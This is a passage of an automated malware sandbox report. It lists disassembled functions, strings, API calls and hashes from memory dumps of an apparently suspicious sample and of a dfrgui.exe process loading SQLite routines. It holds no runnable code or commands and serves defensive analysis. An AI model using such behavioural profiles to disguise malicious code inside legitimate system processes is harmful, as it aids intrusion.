Instruction Fuzzy Hash: 2E11A920D087CED9DB12C7BC84082EEBFB15B23224F0883D994A42B2D2D2794716D7A6

Function 00CD27CB Relevance: 6.4, Strings: 5, Instructions: 196COMMON

Download Yara Rule

Strings

u, xrefs: 00CD2805
o, xrefs: 00CD280C
, xrefs: 00CD27FE
i, xrefs: 00CD2813
l, xrefs: 00CD281A

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: $i$l$o$u
API String ID: 0-2051669658
Opcode ID: 89784b473e4ca26ab546a21a58b0f5dae2eaa84bf08bb46e8c1a81a20c400d30
Instruction ID: 1c3badf4eabe2f2bfe6a9b7b4222ae1b0335adf8604c079bced0d496a531d1c9
Opcode Fuzzy Hash: 89784b473e4ca26ab546a21a58b0f5dae2eaa84bf08bb46e8c1a81a20c400d30
Instruction Fuzzy Hash: 0B613CB2900304AFDB24DBA4CC81FEFB7FDAB98710F10455AF659A7240E735AA41CB60

Function 00CD27C8 Relevance: 6.4, Strings: 5, Instructions: 124COMMON

Download Yara Rule

Strings

u, xrefs: 00CD2805
o, xrefs: 00CD280C
, xrefs: 00CD27FE
i, xrefs: 00CD2813
l, xrefs: 00CD281A

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: $i$l$o$u
API String ID: 0-2051669658
Opcode ID: 5f421520683217084d469de61868ca7097cff87a5d1a55af5c55c3fa091da9c1
Instruction ID: c0b9e6d3d4997000494b030b89d5e050211d7fa8f16c4d59312c9d0242e34372
Opcode Fuzzy Hash: 5f421520683217084d469de61868ca7097cff87a5d1a55af5c55c3fa091da9c1
Instruction Fuzzy Hash: 914119B1900308AFDB20DFA4CC84FEFBBF9AB49700F104559E659A7280D770AA418B60

Function 00CBAF3F Relevance: 6.3, Strings: 5, Instructions: 47COMMON

Download Yara Rule

Strings

-!ed, xrefs: 00CBAF55
f{hq, xrefs: 00CBAF4E
gm`u, xrefs: 00CBAF5C
s, xrefs: 00CBAF6C
d-!c, xrefs: 00CBAF63

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: -!ed$d-!c$f{hq$gm`u$s
API String ID: 0-2873542444
Opcode ID: 2ab49b3b47390cdbb66d686b187c2e053f9c108f71413892b3bdda2676ee05b3
Instruction ID: eff1cbd3c6a7c7f14a323135f37b80f08b180f572be60a2515d56538bce66358
Opcode Fuzzy Hash: 2ab49b3b47390cdbb66d686b187c2e053f9c108f71413892b3bdda2676ee05b3
Instruction Fuzzy Hash: A5012BF480020D6ACB14DFE4C942AFEBB68FB09304F144658EE595B142E370CB558BD3

Function 00CBE34F Relevance: 6.3, Strings: 5, Instructions: 38COMMON

Download Yara Rule

Strings

Z, xrefs: 00CBE3AE
H, xrefs: 00CBE3B2
<, xrefs: 00CBE3AA
., xrefs: 00CBE3A2
S, xrefs: 00CBE38A

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: .$<$H$S$Z
API String ID: 0-1904692081
Opcode ID: 30e4a09501ff10839fa75cdc51aa3ac137d160b149bbe4ac6288a5c69a8882d3
Instruction ID: 8775771d9a4f708a08ac96969676a66f5b45e36728909a79e15f384d285ba888
Opcode Fuzzy Hash: 30e4a09501ff10839fa75cdc51aa3ac137d160b149bbe4ac6288a5c69a8882d3
Instruction Fuzzy Hash: A211FE20D082DED9DB16C7A884143EEBFB15F12325F08C2D9D4A02B2D2C6794705DBA6

Function 00CD2468 Relevance: 5.3, Strings: 4, Instructions: 299COMMON

Download Yara Rule

Strings

k, xrefs: 00CD24A5
, xrefs: 00CD2497
e, xrefs: 00CD24AC
o, xrefs: 00CD249E

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: fe6b404c92718d4d8374b23ee7807c581da27f04d1ff5c8c8d58ef6ef2fa2234
Instruction ID: b7afc507383ef0c20e3dc2101b26351c8d68de16db91900e73841d786025de26
Opcode Fuzzy Hash: fe6b404c92718d4d8374b23ee7807c581da27f04d1ff5c8c8d58ef6ef2fa2234
Instruction Fuzzy Hash: 36B1D8B5A00708AFDB24DBA4CC85FEFB7B9AF88700F108559F659A7380D675AF418B50

Function 00CD2D5C Relevance: 5.2, Strings: 4, Instructions: 233COMMON

Download Yara Rule

Strings

, xrefs: 00CD2E26
e, xrefs: 00CD2E3B
o, xrefs: 00CD2E34
h, xrefs: 00CD2E2D

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: $e$h$o
API String ID: 0-3662636641
Opcode ID: f55e7e4e794e6b80cdf28458c78f1183c30fe76d198e4c408649c0668f063812
Instruction ID: 345ab64350dcf738f7d7bb0f6c39782b82509a8867af6dc3f19df00579df3f4d
Opcode Fuzzy Hash: f55e7e4e794e6b80cdf28458c78f1183c30fe76d198e4c408649c0668f063812
Instruction Fuzzy Hash: 2C7162B29002187EDF64EB94CC85FEE737CAF49300F04459AF649A6141EE745B859BA2

Function 00CD2D68 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

, xrefs: 00CD2E26
e, xrefs: 00CD2E3B
o, xrefs: 00CD2E34
h, xrefs: 00CD2E2D

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: $e$h$o
API String ID: 0-3662636641
Opcode ID: c4367e4ed7d3451b0fbaf16fdc035e5b7a00fcb1a4aa89e001ef5845b4ae8873
Instruction ID: 83c10dcb7276859f543afe7dd62c3796a8fb53d647079e594007502d4ae7ea0d
Opcode Fuzzy Hash: c4367e4ed7d3451b0fbaf16fdc035e5b7a00fcb1a4aa89e001ef5845b4ae8873
Instruction Fuzzy Hash: 22313FB1E002187EDF50EBA5CC41FEEB2BCAF45700F4045AAB549A6151EE745B889FA2

Function 00CCE908 Relevance: 5.1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

Strings

3, xrefs: 00CCE9E5
1, xrefs: 00CCE9D0
d, xrefs: 00CCE9D7
p, xrefs: 00CCE9DE

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: 1$3$d$p
API String ID: 0-682049505
Opcode ID: b6a39b7216521be85c346847cf533e35712de577936ef48e03c9889dd2a92db5
Instruction ID: f851d6f2b33e15084a9520ac10f0f7cc11704ea0ba50c59bec304605797bf05f
Opcode Fuzzy Hash: b6a39b7216521be85c346847cf533e35712de577936ef48e03c9889dd2a92db5
Instruction Fuzzy Hash: 553141B1910219ABEF04DB94CC46FEE77BCEF09304F044199F904A6281E7B59B448BE5

Analysis Process: dfrgui.exePID: 3240, Parent PID: 2952COMMON

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.2%
Total number of Nodes:	489
Total number of Limit Nodes:	63

Executed Functions

Function 61E88C84 Relevance: 97.0, APIs: 38, Strings: 17, Instructions: 750
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_initialize.SQLITE3 ref: 61E88CAA

Part of subcall function 61E17C24: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17C5B
Part of subcall function 61E17C24: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21F32), ref: 61E17C8F
Part of subcall function 61E17C24: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F58

sqlite3_free.SQLITE3 ref: 61E88D2F
sqlite3_mutex_enter.SQLITE3 ref: 61E88D44

Part of subcall function 61E36656: memcmp.MSVCRT ref: 61E366A4
Part of subcall function 61E36656: sqlite3_malloc64.SQLITE3 ref: 61E366D8

sqlite3_create_function.SQLITE3 ref: 61E896BD
sqlite3_create_function.SQLITE3 ref: 61E89707
sqlite3_create_function.SQLITE3 ref: 61E897B7
sqlite3_create_function.SQLITE3 ref: 61E8980B
sqlite3_free.SQLITE3 ref: 61E88F67

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

sqlite3_errcode.SQLITE3 ref: 61E898EE
sqlite3_close.SQLITE3 ref: 61E898FF
sqlite3_free.SQLITE3 ref: 61E8991C
sqlite3_mutex_leave.SQLITE3 ref: 61E8992E

Strings

RTRIM, xrefs: 61E88EBA
rtree_i32, xrefs: 61E89738
`ra, xrefs: 61E890A0
BINARY, xrefs: 61E88DD3, 61E88E2B, 61E88E53, 61E88EDC
$_a, xrefs: 61E898B3
NOCASE, xrefs: 61E88E7B
fts4, xrefs: 61E89881
fts3, xrefs: 61E8964A
`da, xrefs: 61E89456
`oa, xrefs: 61E892D4
rtree, xrefs: 61E89712
simple, xrefs: 61E894AD
fts5, xrefs: 61E89096, 61E8931C
@aa, xrefs: 61E8976C
porter, xrefs: 61E894E0
unicode61, xrefs: 61E89500
fts5vocab, xrefs: 61E892C7

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_create_function$sqlite3_freesqlite3_mutex_enter$sqlite3_mutex_leave$memcmpsqlite3_closesqlite3_configsqlite3_errcodesqlite3_initializesqlite3_malloc64
String ID: $_a$@aa$BINARY$NOCASE$RTRIM$`da$`oa$`ra$fts3$fts4$fts5$fts5vocab$porter$rtree$rtree_i32$simple$unicode61
API String ID: 1097977795-871400363
Opcode ID: 6e224643fa61319ebba5d75974d8b4398b4caa1bbaba08a225ae2a84db6f9fb3
Instruction ID: 82301ecd81dbb0fa4ab917115afb57dba709f87d53d2a226ae9edcc09d219064
Opcode Fuzzy Hash: 6e224643fa61319ebba5d75974d8b4398b4caa1bbaba08a225ae2a84db6f9fb3
Instruction Fuzzy Hash: 3E62F4B0A087428FE740DF69C49574ABBF1BFC5308F25C82DE8998B395D779D8458B82

Function 61E18064 Relevance: 7.5, APIs: 5, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,61E9E560,?,61E17E31,?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E1807E
sqlite3_vfs_register.SQLITE3 ref: 61E18094

Part of subcall function 61E18001: sqlite3_initialize.SQLITE3(?,?,61E18099), ref: 61E1800C
Part of subcall function 61E18001: sqlite3_mutex_enter.SQLITE3(?,?,61E18099), ref: 61E18024
Part of subcall function 61E18001: sqlite3_mutex_leave.SQLITE3(?), ref: 61E18056

sqlite3_vfs_register.SQLITE3 ref: 61E180A8
sqlite3_vfs_register.SQLITE3 ref: 61E180BC
sqlite3_vfs_register.SQLITE3 ref: 61E180D0

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_vfs_register$InfoSystemsqlite3_initializesqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 3532963230-0
Opcode ID: efbbbe0f69969b7faee05e120b58cf032d4d47dc79d4c9ab9d725874a9c41882
Instruction ID: 892981d2b28edd46e9514985aa496d13bef9ba5fb41b3714e8a549afe22bdfca
Opcode Fuzzy Hash: efbbbe0f69969b7faee05e120b58cf032d4d47dc79d4c9ab9d725874a9c41882
Instruction Fuzzy Hash: 8FF0FEB0108A459BD780AF65C507B2EBAE5BFC5748F21CC1DD58887285C776D484AB53

Function 61E43F0E Relevance: 41.0, APIs: 21, Strings: 2, Instructions: 761stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E43F4A
sqlite3_free.SQLITE3 ref: 61E44066
sqlite3_free.SQLITE3 ref: 61E440C6
sqlite3_free.SQLITE3 ref: 61E440B8

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

sqlite3_mutex_enter.SQLITE3 ref: 61E440E9
sqlite3_mutex_enter.SQLITE3 ref: 61E440FD
strcmp.MSVCRT ref: 61E4412F
sqlite3_mutex_leave.SQLITE3 ref: 61E44182
sqlite3_mutex_leave.SQLITE3 ref: 61E44190
sqlite3_free.SQLITE3 ref: 61E44198
sqlite3_free.SQLITE3 ref: 61E441A6
sqlite3_mutex_leave.SQLITE3 ref: 61E441E0
sqlite3_free.SQLITE3 ref: 61E441E8
sqlite3_free.SQLITE3 ref: 61E44A69
sqlite3_free.SQLITE3 ref: 61E44A77
sqlite3_mutex_leave.SQLITE3 ref: 61E44AC4

Strings

-journal, xrefs: 61E4450B
@, xrefs: 61E43FFF

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_leave$sqlite3_mutex_enter$strcmp
String ID: -journal$@
API String ID: 42632313-41206085
Opcode ID: e5d5e28eb2bf7ee6687f9820fbbff51fb288927651061ecb236297071521615b
Instruction ID: f9e63cc358ab8c647309976e18e9646e7e1eb105b7056754fcda2e4ce6371224
Opcode Fuzzy Hash: e5d5e28eb2bf7ee6687f9820fbbff51fb288927651061ecb236297071521615b
Instruction Fuzzy Hash: 8982F274A04259CFEB10CF68D884B89BBF1BF49308F2981EAD8589B352D774E985CF51

Function 61E17C24 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17C5B
sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21F32), ref: 61E17C8F
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17D4D
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17D5A
sqlite3_malloc.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17DDF
sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21F32), ref: 61E17E05
sqlite3_free.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17E27
sqlite3_os_init.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17E2C
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F08
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F13
sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F2F
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F44
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F58

Strings

ua, xrefs: 61E17C80

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_leave$sqlite3_mutex_enter$sqlite3_config$sqlite3_freesqlite3_mallocsqlite3_mutex_freesqlite3_os_init
String ID: ua
API String ID: 1590227068-1430901121
Opcode ID: 2c517c6967f8d847ff255873c53fe19bc49bb20f36ac071f613cc6e575805732
Instruction ID: effbe140fe4685b051a8e25f96754bb5232c6cc9f828b50d76ca8a27d9cc9e44
Opcode Fuzzy Hash: 2c517c6967f8d847ff255873c53fe19bc49bb20f36ac071f613cc6e575805732
Instruction Fuzzy Hash: AF813870A28F418FEB419FAAC44635E7AE1BB4B70DF24882DD4588B384D779D8C5CB52

Function 61E3A09F Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 290
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_free.SQLITE3 ref: 61E3A117

Part of subcall function 61E39DB8: sqlite3_free.SQLITE3 ref: 61E39E2A

sqlite3_win32_is_nt.SQLITE3 ref: 61E3A144
sqlite3_free.SQLITE3 ref: 61E3A1A9
sqlite3_free.SQLITE3 ref: 61E3A1B4
sqlite3_win32_is_nt.SQLITE3 ref: 61E3A229
CreateFileW.KERNEL32 ref: 61E3A269
sqlite3_free.SQLITE3 ref: 61E3A380
sqlite3_free.SQLITE3 ref: 61E3A38B

Part of subcall function 61E17525: sqlite3_win32_sleep.SQLITE3 ref: 61E1757D

sqlite3_free.SQLITE3 ref: 61E3A41F
sqlite3_free.SQLITE3 ref: 61E3A42A
sqlite3_uri_boolean.SQLITE3 ref: 61E3A468

Strings

winOpen, xrefs: 61E3A3CE

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_win32_is_nt$CreateFilesqlite3_uri_booleansqlite3_win32_sleep
String ID: winOpen
API String ID: 1995518269-2556188131
Opcode ID: 02ae4fc1cf8e0ab259eeb628cbf22a4e3df4fa882fbeb90c31a7796b48fffbbd
Instruction ID: 2e7a51ccf81338f6de1aff17c3b406eeeda581b4f8dc1a14108cc5d93c6a17f6
Opcode Fuzzy Hash: 02ae4fc1cf8e0ab259eeb628cbf22a4e3df4fa882fbeb90c31a7796b48fffbbd
Instruction Fuzzy Hash: 19D1C4709047598FDB10DFA8C58478EBBF0BF89358F208A29E8A9DB350D775D885CB41

Function 61E5E64D Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

unsupported file format, xrefs: 61E5E7E7
attached databases must use the same text encoding as main database, xrefs: 61E5E77D
sqlite_temp_master, xrefs: 61E5E66B
%a, xrefs: 61E5E696
sqlite_master, xrefs: 61E5E665

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID: attached databases must use the same text encoding as main database$sqlite_master$sqlite_temp_master$unsupported file format$%a
API String ID: 0-1599144592
Opcode ID: eb07146dd19bf2155118879b50791f2581f6e4c6be82e6bf9c0934a5e103759a
Instruction ID: 81ca86a02b8e90fec50f3eeef60e3b279eb0fa66c1630af5bf9a7ca8267cbba4
Opcode Fuzzy Hash: eb07146dd19bf2155118879b50791f2581f6e4c6be82e6bf9c0934a5e103759a
Instruction Fuzzy Hash: 2FA12274A04B898BDB51CFAAC484B8DFBF1AF88308F24C46DD858AB355D736E855CB41

Function 61E13E1C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_mutex_enter.SQLITE3(?,?,?,?,00000000,?,61E13F66), ref: 61E13E4A
sqlite3_mutex_leave.SQLITE3(?,?,?,?,00000000,?,61E13F66), ref: 61E13EA1
sqlite3_mutex_enter.SQLITE3(?,?,?,?,00000000,?,61E13F66), ref: 61E13EBE
sqlite3_mutex_leave.SQLITE3(?,?,?,?,00000000,?,61E13F66), ref: 61E13EE5

Strings

,a, xrefs: 61E13E42, 61E13E99, 61E13EB6, 61E13EDD

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID: ,a
API String ID: 1477753154-370703091
Opcode ID: d1574cd2befc67b3da9df7fa7a9b76aa710c1d09face6bc0d125a6ecb0ad5971
Instruction ID: 8f7efb0d6392b5c6d9188a8c54c9a977b738bcd83500ede98cc91c7b45db2505
Opcode Fuzzy Hash: d1574cd2befc67b3da9df7fa7a9b76aa710c1d09face6bc0d125a6ecb0ad5971
Instruction Fuzzy Hash: C2112374A28F418FDB00EFAAC08161577E4BB46319B258C3FEA44CB304E774D8E18B52

Function 61E3D45E Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 61E12E95: sqlite3_mutex_try.SQLITE3(?,?,?,61E12F15), ref: 61E12E35

memcmp.MSVCRT ref: 61E3D591
memcmp.MSVCRT ref: 61E3D5CD
memcmp.MSVCRT ref: 61E3D64C
memcmp.MSVCRT ref: 61E3D85C

Strings

0, xrefs: 61E3D845

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
